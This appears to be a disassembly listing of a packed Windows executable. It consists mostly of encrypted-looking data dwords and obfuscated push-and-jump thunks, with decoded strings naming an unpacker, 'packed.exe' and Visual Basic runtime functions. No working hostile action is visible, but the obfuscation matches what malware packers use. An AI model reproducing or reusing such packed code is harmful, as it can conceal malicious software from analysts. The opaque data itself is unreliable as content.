dd 8C980A73h, 77127A13h, 12E4D5D0h, 0E579320h, 8A5A4CDAh
dd 1C07214Eh, 482C136h, 20F6E6DFh, 0F83D5E2Eh, 0E50C2671h
dd 890B8269h, 0B851D68h, 0A5257266h, 0F4AFF184h, 4D5D5EC7h
dd 0FF7F7A14h, 0F30FBBD2h, 0AD103101h, 85914B62h, 12CAC393h
dd 21421204h, 202FF9F2h, 180A1CCDh, 5327927h, 660B559Ch
dd 4673F372h, 5D6CBE2Fh, 0FD09BFD6h, 0EB1A3B0Bh, 753628F2h
dd 0A6986E5Eh, 5886B5D6h, 43D6A8BEh, 39D12DBCh, 6B15Eh
dd 0B8468100h
dd 926456A9h, 6EB83083h, 45DF0C5Fh, 1BE7E336h, 2718CB0Ch
dd 0FD505FBBh, 0D52837CFh, 0AE0110E6h, 0A0DCEB3Dh, 8D4C56BFh
dd 0C35E7A13h, 742F711Ch, 6BBD3047h, 737EE74Ah, 0D57A1384h
dd 0C3DD2855h, 0B574FBCDh, 0C2F112AFh, 9DF0FF09h, 0F7E8DA2Ch
dd 7F9745A9h, 5CB9E952h, 71F16AB6h, 0F9F10835h, 40A90C2Dh
dd 725E7513h, 216379F9h, 822DB106h, 6380FEAh, 0D9080000h
dd 0EDDD303Fh, 1B70A19h, 5693E6F5h, 7C6ABDCCh, 915293A2h
dd 0D9E832B0h, 0B1C05686h, 8A996F5Eh, 65748637h, 0C3DF4829h
dd 0E77A138Dh, 0E4D5A54Ch, 485F2012h, 0C0908294h, 0AD7F709Fh
dd 6ABC2EBBh, 26F0EB78h, 0B932A434h, 0E2027BD1h, 4E25750Dh
dd 1A983228h, 1D3EC803h, 1C2BFDEEh, 0B73C7B95h, 6E660FD9h
dd 4CB9E94Dh, 13C5DF27h, 2E000000h, 114D7214h, 3DB35311h
dd 8194B5F1h, 23F87h, 0E4D5C000h, 712F2012h, 4DA40D3Ah
dd 0FB7A1385h, 0A0196C7Bh, 95D12D99h, 4EA816A3h, 9118883Fh
dd 40D5FB64h, 0B1317265h, 0AA7C6D84h, 8597489Bh, 3ED80693h
dd 0D7408B4Ch, 6308BCCBh, 3B199FDFh, 0D1F46AC0h, 0BFE17495h
dd 235FBB27h, 0E876DCF6h, 766BD61Dh, 0EFBFB147h, 0C62F92B3h
dd 6AB15239h, 2CFAEE2Bh, 182E6A3Ah, 35E3CA92h, 43BA952Dh
dd 13000005h, 0E83B4AD4h, 0C21524F6h, 9EF1000Eh, 75C8D721h
dd 5D9EAD49h, 0F501BD86h, 0CD5993E6h, 0A6706BBEh, 818B4497h
dd 0EC553672h, 7A138EB6h, 0D5B259F4h, 932012E4h, 50DA135Ah
dd 72682214h, 0CB5D8E58h, 380434BCh, 710DF28h, 0C9000000h
dd 12387h, 0E4D5C000h, 42EAB821h, 40C07265h, 76EEE04h
dd 61F9DD18h, 4D986h, 0E03EA900h, 0BA4C7ED1h, 966058ABh
dd 6DB73487h, 43DF0B5Eh, 4FF0F334h, 25788793h, 0FD505FB7h
dd 0D62938CEh, 0C80413E5h, 8F247EE7h, 0EB867A13h, 21E4D544h
dd 6542EAB8h, 440C072h, 0C2548512h, 8A2016D0h, 0F3B9833Ch
dd 0F1D39A50h, 5DE5F430h, 0DF27E82Dh, 0EBF8F913h, 7D7A295h
dd 343171DAh, 0F9797266h, 199BD8h, 0A1540000h, 0CCC8568Ah
dd 0E27EC5D9h, 0AB28498Eh, 90h, 8A87E4h, 71C00000h, 0DE47742Fh
dd 7A138613h, 0D2C3B535h, 3DA6D3CEh, 725F1CA2h, 12EC0282h
dd 0ED2DB1A7h, 4347A55h, 0C5040000h, 0E1D92C3Bh, 3DB30615h
dd 528FE2F1h, 7866B9C8h, 954E8F9Eh, 0D5E43EACh, 0ADBC4A82h
dd 8695635Ah, 6170BA33h, 0C7DB4425h, 0E37A138Fh, 2F71A148h
dd 42881A83h, 0A60F7265h, 726541FCh, 0D7142EAEh, 99D511E5h
dd 90E8036Ch, 0D4547A0Dh, 0CE5890A7h, 0F4851ABFh, 8F406ABCh
dd 0A51B6E7Dh, 0CF8C6759h, 0C5000003h, 47742F71h, 138613DEh
dd 0C3B5357Ah, 0A6D3CED2h, 0A7C8528Fh, 1D04DB44h, 0A020725Fh
dd 0B1A7BE8Ah, 0EE9812Dh, 3A6h, 9EAD4B76h, 7887934Bh, 5463B325h
dd 2B3AC401h, 110EAD8h, 0AC1A23C0h, 0FCF04352h, 15C81B2Ah
dd 28A1F403h, 0B293CFDEh, 13905949h, 0FB6517Ah, 47742F71h
dd 138617DEh, 8CB9397Ah, 0A8B32A41h, 89AAE630h, 8897615Ah
dd 80728435h, 970B74BFh, 136AB6FFh, 0C1DF7293h, 36A6BDEAh
dd 984BF320h, 0A2DE6181h, 5CBFE0B0h, 657491F3h, 305DDD72h
dd 5E57A719h, 0D8A89A6Ch, 8C3D54B7h, 0A7186B7Ah, 2E726355h
dd 7ADD4673h, 9A6AB121h, 793E041Ah, 59F135E3h, 30D7Eh
dd 14E2DD00h, 0EE38B205h, 0CA548CDFh, 0A17B68BBh, 77833F92h
dd 83BC2768h, 59ACBB47h, 31849363h, 0A5D6CBAh, 0FC3847D1h
dd 90F0B21Bh, 1FBA7A13h, 12E4D578h, 0D05A9320h, 0B960AC1h
dd 6A2275DEh, 145F7A0Dh, 0BD19F7ABh, 6B37A06Ah, 3F6ABD1Ah
dd 425A5BFh, 634234B4h, 6ABD1A3Bh, 0CFC15B88h, 8D7F8942h
dd 6C3CCE00h, 0F8E6F0CAh, 51CEE21Eh, 8274823Ah, 399191B2h
dd 13865F79h, 501FF123h, 0E9BCB2Fh, 44A7E6D1h, 60000000h
dd 47742F71h, 0D48C5DEh, 0BDD47Ah, 4885D5F6h, 54468294h
dd 0BD3C2975h, 0EB027F6Ah, 653527F3h, 87A8726Ch, 3E6E3387h
dd 24E6D042h, 483270D9h, 0F8786ABDh, 0BF9AD7h, 0EC030000h
dd 0BF3029F3h, 0D5394C6Dh, 932012E4h, 4CD9CB57h, 1712CC93h
dd 6541F4AEh, 0FA36B672h, 0AFC3808h, 0ABBA4C7Dh, 4ADC0D24h
dd 998B9B51h, 4927A8C9h, 1E726546h, 0F94C5BADh, 0B44279C0h
dd 0C4B6F2C2h, 0A9D6CDD3h, 139D768Fh, 0E102CAA3h, 0E056157Eh
dd 66E67A0Ch, 0A900A057h, 7315137Ch, 21A17267h, 15E1DDF4h
dd 2B37B306h, 38DB6436h, 4B619D67h, 2DB4F595h, 0CBBB962Eh
dd 9B000001h, 70C3D22Ch, 4A9DAC7Eh, 26798896h, 0FD505FB9h
dd 0E52635C1h, 7D9945FEh, 55A11B6Eh, 2EF8F346h, 913CC1Fh
dd 74DDBEFAh, 7A13922Eh, 0D53AE17Ch, 0ABFE0DE9h, 52D9E832h
dd 9949F238h, 0EB0C42A5h, 742F71D8h, 48C5DE47h, 67E77A0Dh
dd 3C089675h, 86A06ABDh, 423D6D34h, 0B949E6D0h, 2000000h
dd 0E512E4D5h, 4271319Ah, 0B9397265h, 0E7E37098h, 264A291Bh
dd 41726547h, 0E86F7E88h, 3D6E349Dh, 0FC3C7265h, 0FBBCD517h
dd 0FB1C5838h, 170913CCh, 77833F56h, 194B585h, 6ED7049Fh
dd 7A0CE1FDh, 0F9B0BF3Fh, 66CFFCA7h, 72677163h, 916B5895h
dd 0C3DD2855h, 12F1B154h, 49766F52h, 635F8EAFh, 0C12A1CD7h
dd 2B67660Ah, 11DC91Ch, 0B4737BEBh, 512CC42Dh, 0F2h, 0EAF907C2h
dd 0C4D32797h, 0A0AF7F71h, 7786904Dh, 4D5CA624h, 7866D70Ch
dd 803C8F9Eh, 0D9146776h, 0FCED404Fh, 0FEDF1B2Ah, 13930D95h
dd 5B029D7Ah, 0BD4DE9D5h, 1D785CDFh, 4194A3DFh, 386F7E88h
dd 0E512E4D5h, 0E8091FCEh, 0B0BA33C0h, 0AECE7231h, 8E9850ACh
dd 5490CC9Ch, 57D21027h, 65EFB4EEh, 3A76F672h, 12577848h
dd 315E455Bh, 1431B8C8h, 12EAE7Ah, 0AE554DB6h, 0E4556AB7h
dd 0B7AE277Bh, 0C703836Ah, 0F8F17EA6h, 13CC1F2Eh, 0B3381709h
dd 0CE7B25BDh, 99526436h, 1B501ED2h, 83EFC093h, 4E1E104Ch
dd 7BCBE512h, 8A391AF1h, 0DD307596h, 996D5DECh, 0D616305Dh
dd 8878757Ch, 794BCDDh, 0BCE64FDAh, 0EE5A4A03h, 0B340326Eh
dd 0D95FE3Bh, 9D5A4A03h, 62EFE11Dh, 40A99B65h, 0B18112A8h
dd 0B22BBB0Fh, 0D5065968h, 3765143h, 0AF000000h, 0EAD562E5h
dd 5C8D1A0Ch, 904BD8CAh, 0D5079486h, 4C24F41h, 4F7B08FAh
dd 0B734C1B3h, 0FAEE7B6Dh, 3DAD3A2Ch, 5379F7E9h, 0C381E389h
dd 4, 8704EB83h, 248B241Ch, 0E2895224h, 4C281h, 0EA810000h
dd 4, 5C241487h, 56243489h, 0C681E689h, 4, 4EE81h, 34870000h
dd 2C895C24h, 98B85024h, 25625818h, 1223A66h, 6B840D48h
dd 0F7501F1Ah, 0C1582414h, 0FC3506E8h, 89042DD5h, 0EC8358C6h
dd 24248904h, 4240483h, 33B8505Dh, 2D5EF56Ah, 4EEA0C64h
dd 0B5DC735h, 89E80110h, 34FF5830h, 0C4835D24h, 24348B04h
dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FAF714E9h, 4830A4FFh
dd 6D92D50Eh, 0B8ADEF6h, 0B8262098h, 7AE522Ah, 0E0FFC503h
dd 614E7ADh, 557A7E5Eh, 7B93B221h, 70EA20DCh, 46B5EDA0h
dd 3081D5CCh, 7922061Bh, 49E6C66Ch, 483BD32Eh, 2D0EDFDCh
dd 751DCA87h, 49A4A4CAh, 631D7621h, 0CE8EC10h, 1A605A33h
dd 45309B69h, 6D5C4793h, 1730A8BAh, 5161C3Bh, 4C9151Fh
dd 532CCDFBh, 5C385218h, 695B3FBEh, 16A9BA09h, 2647DF6Bh
dd 2BA030AAh, 7B42CD3Ah, 7A39399Eh, 61E39CCFh, 0BE6E6A0h
dd 167E9h, 0FE51DF00h, 8360DD73h, 5C3A437Ch, 6E755F6Dh
dd 6B636170h, 70007265h, 656B6361h, 78652E64h, 65h, 3Ah dup(0)
dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
dd 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E855E
; ---------------------------------------------------------------------------
push 7AE56DEh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE57D7h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE58DFh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE5985h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE59C4h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE5A7Ah
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE5AE2h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE5B32h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE62C8h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE633Dh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE63FFh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE64F3h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE6572h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE6637h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE6706h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE67A9h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE6DB5h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE6ED4h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AE6F72h
jmp loc_58941B
; ---------------------------------------------------------------------------
inc ecx
nop
xchg esi, [edx-77h]
retf
; ---------------------------------------------------------------------------
align 2
dw 0CEB7h
dd 0FF80D0Ah, 4E374C4Bh, 6573888Fh, 85924164h, 0C7D08770h
dd 0B0CC9B2h, 4A4D0DF6h, 70B65535h, 0CBAB1B3Ah, 0C7F8A640h
dd 8D8A5017h, 9D4F5C2h, 0B8CDCA8Ch, 0E0CD090Eh, 198599Ah
dd 468C5FDBh, 0DB019810h, 23EE0F16h, 1985F99h, 447D7ADBh
dd 0E8B58097h, 987FB5FBh, 7E85DB01h, 34E04B66h, 0E3F0257Eh
dd 40C3h, 1106C100h, 5D92D8C5h, 63DB0176h, 0E5C41DC3h
dd 1A3B21DAh, 0D97DB64Fh, 0B076ACF2h, 757CDB01h, 0A4BC8954h
dd 1B07AB4h, 117C95DBh, 95CB1166h, 9BDB01B0h, 367C7C94h
dd 0BE3FFC1h, 0E5h, 0A672AB09h, 119E6B1h, 0E9AB7C1Eh, 0B37E993Eh
dd 2DFAC5E6h, 11C4410Ch, 1CBE3B06h, 0E3B330FBh, 0B6819644h
dd 70A1D71Dh, 0A0A7D359h, 53495E7Fh, 0D3597465h, 5B91D72Ch
dd 61D35974h, 0BF5F425Ah, 0F89A8398h, 41D614DFh, 0E086A895h
dd 39B4A8ADh, 0A83BE07Ch, 0E2F74CEh, 0FCB1F7F6h, 2DB0228h
dd 73B90EFBh, 0DB02293Dh, 94F3C43h, 0DB0229D3h, 93BAD2D9h
dd 0BBA86CE9h, 4614D382h, 19183051h, 0ACD9BCD3h, 8E4A83E2h
dd 11B17189h, 0E3AA65E2h, 362344D1h, 24395EFDh, 877F983Bh
dd 0FC1A50F8h, 50C49C31h, 0E9000019h, 311A2F28h, 765F7463h
dd 0B7A0B5A2h, 0F6DFF4E3h, 0D1B3027h, 2D2AE9BCh, 6F682F18h
dd 0B3A4715Ah, 0F2E5B59Eh, 185EFDDDh, 0CBAB1AE2h, 0ABA04EE8h
dd 9FB7A072h, 0E9FE19BCh, 24395E00h, 0C5110638h, 765D92D8h
dd 5C63DB01h, 76CD0791h, 0ECB0DB01h, 0F3A320EBh, 54756234h
dd 0C42F4089h, 0C8334CE5h, 0FFFB561Ch, 0C7ABE3h, 0C7A90000h
dd 0DA130017h, 0CCDD843Ah, 6C680BA5h, 0D956334Bh, 0C8521D3Ah
dd 0D358FADAh, 0E5FA1DBDh, 723D5AFCh, 83E84D9h, 0ED358FAh
dd 0CC978057h, 22C6DEFFh, 9FF4E135h, 21F1B666h, 7D9E6B36h
dd 0DDCDE5B2h, 0DB012028h, 1E549AEFh, 24DB0120h, 0AFCA631Dh
dd 0BCD55B92h, 6B2DE4A4h, 8C364B6Ch, 185E4B8Bh, 0E2AC11F0h
dd 0AD02EFF6h, 12DC1258h, 0DBE2E2ACh, 804B4C0Ah, 0E5B89BB3h
dd 5F809742h, 0A5B2614Ah, 1B1EB0ADh, 8058EDFCh, 1857h
dd 13282FF0h, 586D6A2Ah, 99AEA96Fh, 0D8EDEAB0h, 162B2CEFh
dd 31E4C108h, 71281126h, 0B3685166h, 0F4A68FA4h, 4FEECEE3h
dd 0AB19D309h, 913FD9CBh, 0EE0314C7h, 2D425505h, 789AB41h
dd 192CFA6h, 26F8DBF3h, 29E96631h, 0AAF0DB7Eh, 0D3589074h
dd 8752737Ah, 7F8499BAh, 69819646h, 978450C5h, 0B71851h
dd 518ADFDBh, 7CB29087h, 76DB00B7h, 884F0BCh, 0B4BB69ECh
dd 7A4B81C7h, 4A51DB00h, 20D27232h, 7529E818h, 149E698Ah
dd 0DB0104DAh, 0FED6F8F5h, 4EB5C6B7h, 78E3FE16h, 0FF6E86CCh
dd 0B55BE3h, 0EB400000h, 0D56FA5h, 5CA275DBh, 0DB00D526h
dd 1704252Ch, 0D59BD1h, 829AA1DBh, 0E06DC39Ch, 6CB29F77h
dd 0DB01764Bh, 53214A51h, 0AF9C1DEBh, 0DFCC080Dh, 442B4099h
dd 743F46B7h, 8F52136h, 0EFA3A2C2h, 0B4A1A8BEh, 0D3FE3D5Fh
dd 7ADF19C6h, 0B8DF7F62h, 0FF18BAA3h, 0DF421407h, 30089D18h
dd 174Fh, 0B2037E8h, 50657222h, 91A6B167h, 0D0E5F2A8h
dd 0E2334E7h, 39DCC900h, 7920091Eh, 0BB60495Eh, 0FC9E879Ch
dd 47E6C6DBh, 0AB18CB01h, 8937D1CBh, 936589ABh, 5EF3FD2Dh
dd 0A4B36346h, 5ABA9BD9h, 0A8EE276Dh, 0EDF4DB00h, 0F2B1D3D8h
dd 0A2F3BA51h, 0C3563C54h, 8D4C856Dh, 0FC1D3ADAh, 0FFD740E4h
dd 76ABCC12h, 0DEB1DB01h, 1766298h, 406168DBh, 71054917h
dd 93CC622Ah, 1ABED6C1h, 0A6ECD93Dh, 69D27E4Dh, 43814C53h
dd 0CF1502D2h, 717DF6AFh, 88C1AEB5h, 0C3ACC1D6h, 270C0413h
dd 0A46D6D3Ah, 16A9370Fh, 91420000h, 0D4887186h, 13C5AEC3h
dd 5006EF04h, 8A493247h, 5F6A788Dh, 6B809746h, 0ABC0D782h
dd 0ED0215C2h, 30455204h, 356BB150h, 3BCBAB17h, 17C7F3A1h
dd 40010800h, 35CA0CB6h, 166A5Dh, 45520300h, 82954730h
dd 0C3D4846Dh, 611C5AEh, 425508F1h, 0FBAA1F2Dh, 412A3F58h
dd 836C8196h, 0C3ACC1D6h, 0FEF0413h, 16F42A70h, 60FACBABh
dd 17C7B2h, 0B61EF735h, 755E83C9h, 9164DB01h, 175154Bh
dd 0F3141BDBh, 0EDB7D9DEh, 6E86B5F2h, 47E8CFE7h, 0E6D30314h
dd 0AA037FA0h, 557E85E2h, 52BB9F87h, 8054C17Fh, 0C7F44D93h
dd 43FA86FAh, 1502D493h, 3B5C7D4Ah, 4982D770h, 7AB08E89h
dd 8086FAC8h, 58BD6179h, 183A8F7Ch, 6A44687Ch, 0C3B3CBBFh
dd 8EA6C6A3h, 7CB5A2A9h, 0A3A8BDDAh, 3C907481h, 99B1BD50h
dd 0FBF3E4B6h, 4804643Ah, 0B45A32C7h, 4D000015h, 8D768B8Ch
dd 0CAB3C8CFh, 0BF4090Eh, 4A33484Fh, 69778C8Bh, 81964560h
dd 0C3D4836Ch, 710C5AEh, 4E4909F2h, 74BA5939h, 0CBAB163Eh
dd 0BAFCAA44h, 0D3597084h, 5542124Bh, 80134D3Dh, 0AFE9D359h
dd 76D35990h, 0AF7A9D3Dh, 0A0DACAE2h, 67D35990h, 0C034445h
dd 6F875026h, 0D5CDCA8Ch, 0F349D1CAh, 4C5E36CBh, 0E5000015h
dd 250E2334h, 624B6077h, 0A38CA1B6h, 0E2CBE0F7h, 10F2433h
dd 193EDDC8h, 5B7C1B04h, 9FB85D46h, 0E6F1A18Ah, 0C52F1D1h
dd 0CBAB16D6h, 69442DCh, 92D8C511h, 0DB017CC9h, 0AEE16E90h
dd 3822D7A9h, 61596020h, 0F4E1FF48h, 0FCE8C055h, 95000014h
dd 0D5BED3C4h, 12FB1007h, 533C5146h, 927B9087h, 0B1BFD4C3h
dd 0C9CE8D18h, 0B0CCBB4h, 4F480DF6h, 9681513Ah, 0BC02A181h
dd 0CBAB1586h, 0AB44F28Ch, 0ECB7A072h, 7224071Fh, 0C8019A65h
dd 0A13A0512h, 5970255Bh, 3242BD3h, 5A726532h, 0E5B0A777h
dd 0B15DC85Fh, 1BA7FDF9h, 1E40h, 80BA3E00h, 63D35970h
dd 8A8FA4B3h, 0C9948351h, 39F4E4FCh, 0CCD3B4F6h, 14812901h
dd 0C76B0000h, 3A2A6717h, 92FE31F2h, 0EF68A671h, 53013A27h
dd 0CCEA04ABh, 0F31468B3h, 44435B28h, 10675FEh, 0A1E73CDBh
dd 0DB01066Bh, 92526A71h, 4BCC768Bh, 307F3FDBh, 0A826F8A2h
dd 0CE9B6687h, 0BD7AC0ADh, 84E2A945h, 0C08B8C4Bh, 141BDBF3h
dd 0B0CCC49h, 45C700F6h, 0EAAAE2A9h, 0AD789F3Dh, 0C1AABFE0h
dd 0BC390413h, 8B8C4F18h, 0ABE127C0h, 0B1E2A945h, 9D6889AAh
dd 935E7920h, 85504716h, 57425508h, 7F9877E2h, 0A86CFB66h
dd 0DE949AAFh, 23EB182Ah, 257h, 0C5110621h, 8F4A83D8h
dd 0D8F0BD88h, 1A5D7E8h, 407C9EDBh, 9C8708F0h, 7FB5FBE8h
dd 85DB022Bh, 9FA6667Eh, 0D13A90B2h, 4650E502h, 0D4512Eh
dd 7B190217h, 0CD07915Ch, 0B0DB01EFh, 0A11EE9EEh, 5116E1F6h
dd 51EECD38h, 0CF223A5Ch, 5E3B71B7h, 3A41DB02h, 9CEF0780h
dd 17D2056h, 0FE1F26DBh, 0D160CBE6h, 55FF1403h, 0EE2714C0h
dd 0FC738F2Fh, 7C891B3Bh, 0FE44435Bh, 0E2AA23F5h, 0AC29F4FBh
dd 0F0D9EEE9h, 0C65F2A2Dh, 3B7A73A4h, 0B1829721h, 5A27F2E5h
dd 261A5242h, 2031E2AAh, 607726B5h, 0ABF1464Bh, 0E2AA2675h
dd 0B85C747Bh, 358A775Fh, 0D0CB0813h, 0DDF5EC94h, 5195ACEDh
dd 0E0ABB2EAh, 0B7A4B363h, 0A4BCDB7Eh, 0D5C2947Dh, 954A800Ah
dd 5061EA51h, 938456E5h, 20C7957Eh, 0C6935E79h, 0BF5DDAA5h
dd 8850CD98h, 9047C48Fh, 0DEF7BC87h, 2730E473h, 69D4ED06h
dd 81D3ADAh, 0AFDA4802h, 0BC91F2h, 0AB8F0000h, 0E5B0A772h
dd 7E1D0018h, 0D3F58E59h, 0B85CABABh, 5329E59Fh, 0CC8F728Ah
dd 223B00CBh, 627528B7h, 9EF3484Dh, 58E22258h, 432128D3h
dd 0D358E20Dh, 7D9F7313h, 3A2BD967h, 49010119h, 901BA74Bh
dd 76h
dd 17C78Eh, 41E6B835h, 0EBB88394h, 3B5C7B1Ah, 2792AB70h
dd 8097437Ch, 0C2D58568h, 0FDE3A7ADh, 4F361BA7h, 1B000000h
dd 684A80C6h, 4950D359h, 11064B31h, 5192D8C5h, 57DB018Ah
dd 0C1FB8550h, 0A4DB018Ah, 9D1AE5F2h, 0CB14DFF8h, 0D7704FBAh
dd 0E3F4A1DAh, 0DFF89B18h, 208BA6BEh, 7B9C3C75h, 0B0F6E3B0h
dd 0DB018A7Ah, 61617980h, 0E3F01B29h, 96F0h, 1106EE00h
dd 9D92D8C5h, 0A3DB019Dh, 8054D19Ch, 9D4F85CBh, 4E55DB01h
dd 6D2F182Dh, 0CD069F6Ah, 77440F08h, 0BFD87C5Fh, 0AB162FF4h
dd 4A5F781Ch, 4A4D0C45h, 7D29197Fh, 2EA9CDF1h, 0BDF5F50Dh
dd 84E3FF39h, 49h, 0F7130682h, 32FD1ABEh, 70518765h, 5057D359h
dd 0A6FC422Fh, 6D535970h, 0A6716634h, 0FA01C1D9h, 1205D40Dh
dd 5FB9E147h, 0EF398E81h, 4FD9B6CEh, 5358C915h, 92E24DFAh
dd 1C624F87h, 0D358C9C6h, 6CB0C5CCh, 7, 5C6CAEh, 0C7AE0000h
dd 0D56F6D11h, 2E15CD37h, 17C5420Dh, 5202EB00h, 37A26FACh
dd 0ED0ED2ADh, 0F57DE422h, 98653027h, 86518A77h, 28F9C691h
dd 0C9966176h, 23BD4B1h, 0DD764156h, 59616197h, 3F6067D3h
dd 60FC3727h, 0FE17D359h, 0EA3E793h, 3E931BA8h, 5955C2F8h
dd 0A9C1C8D3h, 0BF78Dh, 1F068B00h, 707FB5FBh, 0B062D359h
dd 610FDCA7h, 0C9EAEDAAh, 9453DDA8h, 0AF5D04A4h, 0CB7F2B96h
dd 0E6DF331h, 30h, 0A672AB0Ch, 70699FE5h, 686FD359h, 848B2F47h
dd 0BDDEF99Ch, 70548AD0h, 535AD359h, 3E6AFE88h, 6C857CCDh
dd 331D5501h, 0C0E44D24h, 0E2000002h, 0F3C71F06h, 0B85E89ABh
dd 99F6E826h, 9FB7D8FFh, 17C7788Ch, 926F2C00h, 0D39EB959h
dd 0AB08EE06h, 0ECB7A072h, 18E9651Fh, 26D1C5B1h, 0E5340E0Eh
dd 71AA1EA7h, 1EEBB6A1h, 0BE898E4Dh, 4FBDD9F1h, 0A2000000h
dd 0EFA9AE69h, 8CF95131h, 0EFD5ED28h, 0F3C71F06h, 702C65ABh
dd 2B32D359h, 6DA3E93Eh, 73D35970h, 0A985E1D3h, 0C2E36182h
dd 6FABC4AAh, 0B1A672ABh, 1E0119E6h, 37705D7Ah, 0DEAB7661h
dd 7075ABF1h, 747BD359h, 0A872765Ch, 346Ch, 72ABAE00h
dd 6CE9B4A3h, 728AABACh, 0BB8F47CEh, 702C65ABh, 6CF1D359h
dd 1056AB98h, 0D35970DAh, 0C2C1D9E0h, 611C786h, 3A8F7232h
dd 5970BEF4h, 0A5BDC4D3h, 0AA7BBABFh, 0BF5E5C31h, 0F89A8398h
dd 78B1DEDFh, 1FECB7A0h, 5E5B9665h, 122A25C9h, 1EBB6C2Fh
dd 0ADD7D8F9h, 9A3CCB36h, 0C393547Dh, 0B48CC208h, 0DB925C31h
dd 814E193Eh, 30523F60h, 982A9E62h, 0CEE1F9BAh, 8357B7B9h
dd 8D4CC994h, 706BBF8Ah, 9F82605h, 63D1F39Eh, 7CB2F8EBh
dd 825C317Ah, 243FC17Bh, 0D0ACFA0h, 0BE4012F5h, 4515E964h
dd 0BA8752h, 0B3D49073h, 0E09C98Ah, 8159FC0Dh, 5C321F48h
dd 0D57ED0Fh, 7F981E1Fh, 0B3A0A767h, 0A1B9DE7Ah, 82ED648Eh
dd 0F349B5D7h, 1B36BA11h, 597E2003h, 2D315330h, 0F83BF55Dh
dd 5D282FECh, 74576F90h, 6AEBB6A1h, 5245110Fh, 4D4A0A87h
dd 39A4BD82h, 1DE8EFAAh, 0D53E2F50h, 6F38DB6Ah, 16E3AEA9h
dd 27F7E0F5h, 55214330h, 0E90E1D77h, 2FFA1DBFh, 16294162h
dd 5C2C7E9h, 1572B48Ah, 9F7B1AFDh, 5C320166h, 5C92D82Dh
dd 625C3201h, 7C83435Bh, 9B06257Bh, 244D4A0Ch, 0B7A4B363h
dd 0A3BBDC7Eh, 16087B90h, 0D8A5542h, 0A277484Fh, 0C25EAB5h
dd 87B2C2A1h, 31CD8D1Ch, 5181A5B9h, 475002B3h, 1BDC0526h
dd 4A5B5C7Bh, 618B8C8Bh, 2EF07FEAh, 0AB3C0029h, 0EAB5A272h
dd 7022051Dh, 83979367h, 0EFC31306h, 724C89ABh, 34B1D314h
dd 0AA1DE11Ch, 1EA7F590h, 4829h, 13062700h, 0FA9DD6C3h
dd 0ABDFC5DDh, 0ECB7A072h, 0B6EC321Fh, 0BCD35970h, 589E9DB5h
dd 0D359701Fh, 0DC311E25h, 59706096h, 475F66D3h, 0C76FAB61h
dd 722E0215h, 9483568Fh, 130563C9h, 9FFD3ECDh, 6C80667Eh
dd 3Bh, 0C31306AEh, 156ABEFh, 597085BBh, 6C848BD3h, 5970437Ch
dd 968308D3h, 70C5FB41h, 0EBFD359h, 0DE40D607h, 0D4ECF3A1h
dd 156ABEEh, 597085BBh, 6C848BD3h, 215C786h, 0BAA8722Eh
dd 0D35981ABh, 0FCEC123Eh, 0BA54FFFFh, 0D3597080h, 4E63BBA2h
dd 26F4B365h, 0A0C1D681h, 2A4E08D5h, 55F2F288h, 0C453253h
dd 56334B4Ch, 58E496CCh, 63CE7BD3h, 261304D4h, 172F28EDh
dd 925507F0h, 0C9B6D7C0h, 0E3F82E74h, 0F7FED358h, 0B0EB8DFh
dd 897600CBh, 0A415AF37h, 3E74208Bh, 3A60DC4h, 21Ch, 7081BA01h
dd 2648D359h, 175D0AC8h, 0D35899E1h, 0E126E0E7h, 862A4293h
dd 12584591h, 0DB013205h, 6EF040Bh, 0FD7A4552h, 0C5D2885Fh
dd 325C92D8h, 5B62DB01h, 22F26F3Ah, 2B2C6A35h, 63A9FEEBh
dd 0DB01322Dh, 15142C33h, 0EF256BC0h, 0F5DB0131h, 61E6D6EEh
dd 67E2A94Bh, 65496860h, 0AD42FC06h, 0D66D5h, 395EFF00h
dd 7E993B24h, 0BFD88069h, 215C1AAh, 465104EDh, 0FFA62331h
dd 3D263B5Ch, 7F687D9Ah, 0BFA8BDDAh, 3E3F81Fh, 0EE81E64h
dd 54EECBABh, 5017C7A6h, 18BC8D8Ah, 0D513DEFFh, 61A79440h
dd 0DB07C4C6h, 9FD8C5CCh, 0B8F1DEF9h, 5E2BF6E1h, 62361F46h
dd 8D4F8875h, 1895728Ah, 48865146h, 0D41A07CFh, 0E2AFE5FBh
dd 0D502FA01h, 12FC1FCBh, 0CF1A57Dh, 0C98A0000h, 0CD0B9CEh
dd 4B0DF60Bh, 884E374Ch, 0C2917A8Fh, 17B2C0D5h, 0B3C8CF8Eh
dd 0F3080FCAh, 354A4D0Ah, 788D8A4Ch, 7DB3F998h, 83CBAB0Dh
dd 17C73BE9h, 7CF11300h, 95CB1103h, 9BD35892h, 0E82FDA94h
dd 9671D690h, 4676E539h, 213512Eh, 369FE5D2h, 3CDB012Eh
dd 0ADF34835h, 0DB012E77h, 375E767Dh, 8A5DF932h, 3401CCCBh
dd 0DCB4813h, 51723F0Ah, 93845639h, 9343D47Eh, 82D060A6h
dd 1FD6E2AFh, 0C28F5A7Dh, 0DD7BB4A1h, 67A0A5BAh, 0DDAA5B2h
dd 0CDB4453h, 1C34ECD3h, 0AD789F39h, 0BE3F214h, 3E90DDABh
dd 84934326h, 3A9A7BB9h, 412E074Dh, 2D34EA58h, 0B76E9235h
